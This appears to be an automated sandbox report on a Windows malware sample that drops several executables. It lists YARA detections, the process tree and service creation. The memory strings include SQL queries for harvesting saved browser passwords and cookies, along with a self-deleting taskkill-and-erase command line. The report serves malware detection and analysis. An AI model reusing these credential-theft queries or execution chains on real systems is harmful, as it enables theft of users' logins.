Source: 00000028.00000003.505876759.000001455E0A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector

Source: C:\Users\user\Desktop\fJe9em23BB.exe

File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: String function: 009ACE20 appears 39 times
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: String function: 00873AC0 appears 44 times

Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_RCDATA type: Delphi compiled form 'TfrmArchiveInformation'
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: fJe9em23BB.exe, 00000000.00000003.255925107.0000000002FFA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs fJe9em23BB.exe
Source: fJe9em23BB.exe, 00000000.00000000.251874348.0000000000637000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename`@ vs fJe9em23BB.exe
Source: fJe9em23BB.exe, 00000000.00000003.270347076.0000000005230000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQt5Concurrent.dll( vs fJe9em23BB.exe

Source: vpgy.cpl.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ccsearcher.exe.25.dr	Static PE information: Section: .text IMAGE_SCN_TYPE_DSECT, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.25.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fJe9em23BB.exe	Static PE information: Section: ZLIB complexity 0.9994601117886179
Source: fJe9em23BB.exe	Static PE information: Section: ZLIB complexity 1.000328828011611
Source: fJe9em23BB.exe	Static PE information: Section: ZLIB complexity 1.0007102272727273
Source: fJe9em23BB.exe	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: installer[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9940592447916666
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9940592447916666

Source: C:\Users\user\Desktop\fJe9em23BB.exe

File created: C:\Users\user\Pictures\Minor Policy

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@53/73@26/29

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: OpenSCManagerA,DeleteFileA,DeleteFileA,CopyFileA,OpenServiceA,CloseServiceHandle,GetUserNameA,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

16_2_00981810

Source: C:\Users\user\Desktop\fJe9em23BB.exe

File read: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_008617D7 GetLastError,FormatMessageW,

14_2_008617D7

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: 16_2_00981060 StartServiceCtrlDispatcherA,

16_2_00981060

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: 16_2_00981810 OpenSCManagerA,DeleteFileA,DeleteFileA,CopyFileA,OpenServiceA,CloseServiceHandle,GetUserNameA,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

16_2_00981810

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_0086F8E2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

14_2_0086F8E2

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

File created: C:\Program Files (x86)\PowerControl

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: fJe9em23BB.exe	ReversingLabs: Detection: 53%
Source: fJe9em23BB.exe	Virustotal: Detection: 60%

Source: C:\Users\user\Desktop\fJe9em23BB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fJe9em23BB.exe "C:\Users\user\Desktop\fJe9em23BB.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe "C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe "C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe "C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe "C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe "C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe "C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe"
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe "C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe"
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp "C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp" /SL4 $203DC "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe" 2324125 52736
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Process created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe" -h
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: unknown	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process created: C:\Program Files (x86)\ccSearcher\ccsearcher.exe "C:\Program Files (x86)\ccSearcher\ccsearcher.exe"
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k WspService
Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "ccsearcher.exe" /f & erase "C:\Program Files (x86)\ccSearcher\ccsearcher.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "ccsearcher.exe" /f
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe "C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe "C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe "C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe "C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe "C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe "C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe "C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe"	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\VPGy.cpL",	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp "C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp" /SL4 $203DC "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe" 2324125 52736
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Process created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe" -h
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process created: C:\Program Files (x86)\ccSearcher\ccsearcher.exe "C:\Program Files (x86)\ccSearcher\ccsearcher.exe"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "ccsearcher.exe" /f & erase "C:\Program Files (x86)\ccSearcher\ccsearcher.exe" & exit
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k WspService
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "ccsearcher.exe" /f

Source: C:\Users\user\Desktop\fJe9em23BB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ccsearcher.exe")

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_4391484

Jump to behavior

Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.601840729.0000000000676000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url,action_url,username_element,username_value,password_element,hex(password_value) password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for FROM logins;jK
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.540756178.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.517953488.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.483023219.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732319579.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.507384233.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.545167545.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.531937228.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.519462364.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.520364419.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.523309158.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.530928048.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.779040373.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.511850565.0000000000669000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.530057782.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.528049877.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.726807487.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.480632836.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.499751175.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.515060881.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.484065613.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.492688504.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.481871423.0000000000669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737253570.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757328696.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.740976915.0000000000677000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737940340.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.738117906.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757577647.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.764168700.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.746484304.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.759862835.0000000000677000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url,action_url,username_element,username_value,password_element,hex(password_value) password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for FROM logins;rK
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
